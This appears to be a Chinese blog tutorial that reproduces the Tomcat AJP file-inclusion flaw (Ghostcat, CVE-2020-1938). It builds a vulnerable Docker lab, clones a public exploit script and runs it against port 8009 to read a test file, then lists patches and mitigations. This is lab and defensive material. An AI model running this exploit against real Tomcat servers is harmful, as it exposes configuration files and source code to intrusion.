当前位置：首页 > news >正文

Apache Tomcat文件包含漏洞复现(详细教程)

news 来源：原创 2025/5/23 21:23:15

1.漏洞原理

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，其安装后会默认开启ajp连接器，方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。Tomcat和IIS等Web服务器一样，具有处理HTML页面的功能，另外它还是一个Servlet和JSP容器，独立的Servlet容器是Tomcat的默认模式。不过，Tomcat处理静态HTML的能力不如Apache服务器。Tomcat是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以做为独立的Web服务器运行。Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者可通过构造特定参数读取webapp目录下的任意文件。

2.漏洞概述与分析

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目，两者都是免费的，都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件，如：webapp 配置文件或源代码等。

AJP Connector

Apache Tomcat服务器通过Connector连接器组件与客户程序建立连接，Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求，以及把Tomcat服务器的响应结果发送给客户。在Apache Tomcat服务器中我们平时用的最多的8080端口，就是所谓的Http Connector，使用Http（HTTP/1.1）协议

在conf/server.xml文件里，他对应的配置为

<Connectorport="8080"protocol="HTTP/1.1"connectionTimeout="20000"redirectPort=“8443” />而 AJP Connector，它使用的是 AJP 协议（Apache Jserv Protocol）是定向包协议。因为性能原因，使用二进制格式来传输可读性文本，它能降低 HTTP 请求的处理成本，因此主要在需要集群、反向代理的场景被使用。

Ajp协议对应的配置为

<Connectorport="8009"protocol="AJP/1.3"redirectPort=“8443” />Tomcat服务器默认对外网开启该端口 Web客户访问Tomcat服务器的两种方式:

Apache 服务器

（1）AJP是一个二进制的TCP传输协议。浏览器无法使用AJP，而是首先由Apache与Tomca进行AJP的通信，然后由Apache通过proxy_ajp模块进行反向代理，将其转换成 HTTP服务器再暴露给用户，允许用户进行访问。

（2）这样做的原因是，相对于HTTP纯文本协议来说，效率和性能更高，同时也做了很多优化。在某种程度上，AJP可以理解为HTTP的二进制版，因加快传输效率被广泛应用。实际情况是类似Apache这样有proxy_ajp模块可以反向代理AJP协议的服务器很少，所以 AJP协议在生产环境中也很少被用到。

3.影响范围

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

4.搭建弱点环境

4.1 Ubuntu

4.2 更新资源update

4.3 安装docker

sudo apt-get update

sudo apt-get install docker

sudo apt-get install docker.io

sudo apt-get install docker-registry

sudo docker version

4.4 安装nmap

apt-get install nmap

4.5 安装Tomcat

docker search Tomcat-8.5.32

docker pull duonghuuphuc/tomcat-8.5.32

4.6 查看拉取的Tomcat镜像

docker images

4.7 启动镜像

Dockerrun-d -p 8080：8080 -p 8009:8009 --name

ghostcat duonghuuphuc/tomcat-8.5.32

docker port ghostcat

4.8 查看ip地址为192.168.86.129

ifconfig -a

4.9 浏览器可以访问Tomcat页面表示环境搭建成功

192.168.86.129:8080

5.漏洞复现

5.1

docker exec -it ghostcat /bin/bash

cd webapps/ROOT/

5.2 添加测试文件

echo ‘this is CVE-2020-1938’>test.txt

cat test.txt

5.3

exp地址：https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

5.4

cd CNVD-2020-10487-Tomcat-Ajp-lfi/

chomd +x CNVD-2020-10487-Tomcat-Ajp-lfi.py

5.5 利用exp读取该文件

****./****CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f test.txt 192.168.86.129

测试读取成功

6.漏洞修复、防御方法

Apache Tomcat文件包含漏洞修复方式为更新高版本，目前Apache官方已发布9.0.31、8.5.51及7.0.100版本对此漏洞进行修复，如果相关用户暂时无法进行版本升级，可根据自身情况采用下列防护措施：若不需要使用Tomcat AJP协议，可直接关闭AJP Connector，或将其监听地址改为仅监听本机localhost；若需使用Tomcat AJP协议，可根据使用版本配置协议属性设置认证凭证。如下：

1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复。

2、禁用或限制AJP协议。

编辑 /conf/server.xml，找到如下行：

将此行注释掉（也可删掉该行）：

配置secret来设置AJP协议的认证凭证。

例如（注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值）：

3.配置访问控制：合理配置访问控制是防范漏洞的重要措施之一。通过配置适当的访问控制策略，可以限制对敏感文件的访问，并仅允许授权用户进行相关操作。

4.定期监测和更新：定期监测漏洞信息和安全公告，并及时更新相关软件和补丁，以确保系统的安全性和稳定性。

5.强化服务器安全性：除了针对特定漏洞采取措施外，还应加强整个服务器的安全性。例如，使用防火墙限制对服务器的访问、启用Web应用程序防火墙（WAF）、配置SSL/TLS加密传输、使用强密码和定期更换密码、禁用不必要的服务等。

Apache Tomcat文件包含漏洞复现(详细教程)

1.漏洞原理 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，其安装后会默认开启ajp连接器，方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发…...

编程日记 2025/5/23 21:23:15

C#高级：常用的扩展方法大全

1.String public static class StringExtensions {/// <summary>/// 字符串转List（中逗英逗分隔）/// </summary>public static List<string> SplitCommaToList(this string data){if (string.IsNullOrEmpty(data)){return new List&…...

编程日记 2025/5/20 3:55:50

麒麟操作系统基础知识保姆级教程（二十一）进入单用户模式

如果你想拥有你从未拥有过的东西，那么你必须去做你从未做过的事情在咱们运维工作中，服务器的密码长度，密码复杂度，修改时间，超时时间，用户权限管理，root直接远程连接，普通用户su到r…...

编程日记 2025/5/20 6:53:54

基于C语言的数组从入门到精通

简介:本篇文章主要介绍了一维数组,二维数组,字符数组的定义,数组的应用,数组的核心代码解析,适用于0基础的初学者. C语言数组 1.一维数组 1.1定义 1.1.1声明语法:数据类型数组名[数组大小];示例:int arr[5]; 1.1.2初始化 a.静态初始化完全初始化：int arr[5] {1…...

编程日记 2025/5/22 23:27:03

CLOUDFLARE代理请求重定向你太多次

现象使用CLOUDFLARE代理前请求正常，使用CLOUDFLARE代理请求后出现原因分析以下是我的猜测，在默认情况下 CLOUDFLARE代理，可能是直接请求我们服务器的IP，比如：http://1.1.1.1 而不是通过域名的方式（如…...

编程日记 2025/5/19 2:14:39

算法随笔_21:字符的最短距离

上一篇:算法随笔_20:区间子数组个数 -CSDN博客题目描述如下: 给你一个字符串 s 和一个字符 c ，且 c 是 s 中出现过的字符。返回一个整数数组 answer ，其中 answer.length s.length 且 answer[i] 是 s 中从下标 i 到离它最近的字符 c 的距离。 …...

编程日记 2025/5/22 19:51:02

第19个项目：蛇年特别版贪吃蛇H5小游戏

下载地址：https://download.csdn.net/download/mosquito_lover1/90308956 游戏玩法：点击"开始游戏"按钮开始使用键盘方向键控制蛇的移动吃到红色食物可以得分撞到墙壁或自己会结束游戏核心源码： class SnakeGame { constructor() { this.canvas = docum…...

编程日记 2025/5/18 17:55:10

Vue3 30天精进之旅：Day01 - 初识Vue.js的奇妙世界

引言在前端开发领域，Vue.js是一款极具人气的JavaScript框架。它以其简单易用、灵活高效的特性，吸引了大量开发者。本文是“Vue 3之30天系列学习”的第一篇博客，旨在帮助大家快速了解Vue.js的基本概念和核心特性，为后续的深入学习…...

编程日记 2025/5/19 15:32:09

单值二叉树（C语言详解版）

一、摘要今天要讲的是leetcode单值二叉树，这里用到的C语言，主要提供的是思路，大家看了我的思路之后可以点击链接自己试一下。二、题目简介如果二叉树每个节点都具有相同的值，那么该二叉树就是单值二叉树。只有给定的树是单…...

编程日记 2025/5/23 4:18:48

贵州端午黔粽探源：贵州味道与黔味文化与糯米的融合？

黔粽的由来? 黔粽的贵州味道?探索贵州“黔味文化”找寻答案! 黔粽的特色由来与贵州味道贵州粽,简称黔粽。黔粽的主要特色是“酸辣”,以其独特的“酸辣”口味和地域特色,与浙粽、京粽、粤粽、川粽、云粽、闽粽、台湾粽并列为“全国八大粽子派别”之一,并与甜味粽、咸味粽共…...

编程日记 2025/5/19 18:10:29

【Project】CupFox电影网站数据爬取分析与可视化

数据采集清洗与数据存储流程如下图所示。数据分析与数据可视化流程设计如下 1.使用pymongo从数据库中查询所需的数据。对数据进行处理和分析，进行统计、分类、聚合等操作，提取关键指标和洞察。分析结果可以通过编写Python代码进一步优化、筛选和整理&a…...

编程日记 2025/5/23 20:48:54

Spring Boot 后端跨域解决方案：解锁前后端通信的障碍

随着前后端分离架构的普及，跨域资源共享（Cross-Origin Resource Sharing, CORS）问题成为了许多开发者必须面对的一个挑战。当Web浏览器尝试从一个源加载资源到另一个不同的源时，出于安全考虑，它会实施同源策略&#xf…...

编程日记 2025/5/23 21:11:13

Linux如何设置用户登录超时(/etc/profile)

Linux如何设置用户登录超时(/etc/profile) 1. 针对所有用户 # vi /etc/profile ... export TMOUT900 # 设置闲置时间为15分钟，单位为秒;如果没有此行则直接添加进去 ... vi /etc/profile TMOUT18000000000000 export QT_IM_MODULEfcitx readonly TMOUT expor…...

编程日记 2025/5/18 9:58:34

Elastic Cloud Serverless 获得主要合规认证

作者：来自 Elastic Oliver Mao 我们很高兴地宣布，Elastic Cloud Serverless 已获得多项重要的合规性认证。这一里程碑加强了我们对安全性、隐私性和法规遵从性的承诺。Elastic Cloud Serverless 现已通过以下行业领先框架的审核或认证：SOC 2 …...

编程日记 2025/5/23 10:46:28

渐变颜色怎么调？

渐变颜色的调整是设计中非常重要的一部分，尤其是在创建具有视觉吸引力和深度感的设计作品时。以下是一些在不同设计软件中调整渐变颜色的详细步骤和技巧： 一、Adobe Photoshop 1. 创建渐变打开渐变工具： 选择工具栏中的“渐变工具”&#x…...

编程日记 2025/5/21 8:02:11

DDD该怎么去落地实现（1）关键是“关系”

DDD落地的关键是“关系” 这些年，我认为DDD走到了一个死胡同里了，因为落地实现过于困难。很多团队在经过一段时间的学习，清楚理解了DDD那些晦涩的概念，根据业务绘制出领域模型，这都不困难。但绘制领域模型不是我们最终…...

编程日记 2025/5/20 1:35:03

基于本地事务表+MQ实现分布式事务

基于本地事务表MQ实现分布式事务引言1、原理2、本地消息表优缺点3、本地启动rocketmq4、代码实现及验证4.1、核心代码4.2、代码执行流程4.3、项目结构4.4、项目源码引言本地消息表的方案最初由ebay的工程师提出，核心思想是将分布式事务拆分成本地事务进行处理。…...

编程日记 2025/5/22 4:13:08

第17篇：python进阶：详解数据分析与处理

第17篇：数据分析与处理内容简介本篇文章将深入探讨数据分析与处理在Python中的应用。您将学习如何使用pandas库进行数据清洗与分析，掌握matplotlib和seaborn库进行数据可视化，以及处理大型数据集的技巧。通过丰富的代码示例和实战案例&am…...

编程日记 2025/5/22 3:39:17

S4 HANA Tax相关的定价过程

本文主要介绍在S4 HANA OP中Tax相关的定价过程相关设置。具体请参照如下内容： 目录 1. 定义定价过程(OBYZ) 2. 将定价过程分配给国家(OBBG)编辑编辑 3. 新增Transaction Key(OBCN) 1. 定义定价过程(OBYZ) 定价过程就是为了将“条件类型”和“事务”关联起来…...

编程日记 2025/5/17 20:47:15

Linux下php8安装phpredis扩展的方法

Linux下php8安装phpredis扩展的方法下载redis扩展执行安装编辑php.ini文件重启php-fpmphpinfo 查看下载redis扩展前提是已经安装好redis服务了 php-redis下载地址 https://github.com/phpredis/phpredis 执行命令 git clone https://github.com/phpredis/phpredis.git执行…...

编程日记 2025/5/23 21:07:52

K8S 启动探测、就绪探测、存活探测

先来思考一个问题： 在 Deployment 执行滚动更新 web 应用的时候，总会出现一段时间，Pod 对外提供网络访问，但是页面访问却发生404，这个问题要如何解决呢？学完今天的内容，相信你会有自己的答案。 …...

编程日记 2025/5/23 8:41:10

rust学习-rust中的保留字

rust学习-rust中的保留字已使用的保留字未来可能使用的保留字保留字是语言中预定义的标识符，不能用作变量名、函数名或其他自定义标识符，Rust的保留字大致可以分为两类：已使用的保留字和未来可能使用的保留字已使用的保留字 as&#xff1…...

编程日记 2025/5/22 15:44:42

-bash: ./uninstall.command: /bin/sh^M: 坏的解释器: 没有那个文件或目录

终端报错： -bash: ./uninstall.command: /bin/sh^M: 坏的解释器: 没有那个文件或目录原因：由于文件行尾符不匹配导致的。当脚本文件在Windows环境中创建或编辑后，行尾符为CRLF（即回车和换行，\r\n）&#xf…...

编程日记 2025/5/23 20:36:12

【C】memory 详解

<memory.h> 是一个 C 标准库头文件，提供了一组内存管理函数，用于分配、释放和操作动态内存。这些函数主要操作的是未初始化的内存块，是早期 C 编程中常用的内存操作工具。尽管在现代 C 编程中更推荐使用<cstring>或<memory&…...

编程日记 2025/5/21 17:23:25

Android实训九数据存储和访问

实训9 数据存储和访问一、【实训目的】 1、 SharedPreferences存储数据; 2、借助Java的I/O体系实现文件的存储， 3、使用Android内置的轻量级数据库SQLite存储数据; 二、【实训内容】 1、实现下图所示的界面，实现以下功能： 1&#xff…...

编程日记 2025/5/20 6:49:30

Redis vs. 其他数据库：深度解析，如何选择最适合的数据库？

一、如何为项目选择合适的数据库？ 选择合适的数据库是一个复杂的过程，需要综合考虑多个因素。下面几个维度来详细阐述： 1.数据模型关系型数据库（RDBMS）：适用于高度结构化、关联性强的数据，如电…...

编程日记 2025/5/19 13:46:52

docker 安装 mysql 详解

在平常的开发工作中，我们经常需要用到 mysql 数据库。那么在docker容器中，应该怎么安装mysql数据库呢。简单来说，第一步：拉取镜像；第二步：创建挂载目录并设置 my.conf；第三步：启动容…...

编程日记 2025/5/18 6:56:03

C++实现设计模式---桥接模式 (Bridge)

桥接模式 (Bridge) 桥接模式是一种结构型设计模式，它通过将抽象部分与实现部分分离，使它们可以独立变化。桥接模式的核心思想是使用组合（而非继承）来扩展功能。意图将抽象部分与实现部分分离，使它们都可以独立地变…...

编程日记 2025/5/23 8:56:48

LangChain + llamaFactory + Qwen2-7b-VL 构建本地RAG问答系统

单纯仅靠LLM会产生误导性的 “幻觉”，训练数据会过时，处理特定知识时效率不高，缺乏专业领域的深度洞察，同时在推理能力上也有所欠缺。正是在这样的背景下，检索增强生成技术（Retrieval-Augmented Generati…...

编程日记 2025/5/20 20:26:23

pycharm 运行远程环境问题 Error:Failed to prepare environment.

问题排查拿到更详细的报错信息： Help > Diagnostic Tools > Debug Log Settings section: 添加下面的配置 com.intellij.execution.configurations.GeneralCommandLine 重显报错，我这里是再次运行代码打开 Help | Collect Logs and Diagnosti…...

编程日记 2025/5/20 7:17:04

Level2逐笔成交逐笔委托毫秒记录：今日分享优质股票数据20250124

逐笔成交逐笔委托下载链接: https://pan.baidu.com/s/1UWVY11Q1IOfME9itDN5aZA?pwdhgeg 提取码: hgeg Level2逐笔成交逐笔委托数据分享下载通过Level2逐笔成交与逐笔委托的详细数据，这种以毫秒为单位的信息能揭示许多关键点，如庄家意图、误导性行为…...

编程日记 2025/5/22 7:53:00

【Address Overfitting】解决过拟合的三种方法

目录 1. 收集更多数据实践方法：适用场景：优缺点： 2. 特征选择方法介绍：实践示例：适用场景：优缺点： 3. 正则化（Regularization）正则化类型：实践示例&#xff1…...

编程日记 2025/5/17 17:18:02

【缘于J2ME】

我与 J2ME 的不解之缘那年我 25 岁，如今已即将退休。在那个娱乐生活并不丰富的年代，每每响起「小霸王其乐无穷啊」，小伙伴们就会摩拳擦掌、轮番上阵，而我却痴迷于 G-BASIC 编程。最大的乐趣就是对着仅有的两页说明&#xff0c…...

编程日记 2025/5/20 7:22:53

c#使用log4Net配置日志文件

1.# 写一个通用类 LogHelper using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using log4net;namespace WindowsFormsApplication22 {public class LogHelper{static ILog mylog LogManager.GetLogge…...

编程日记 2025/5/22 21:40:37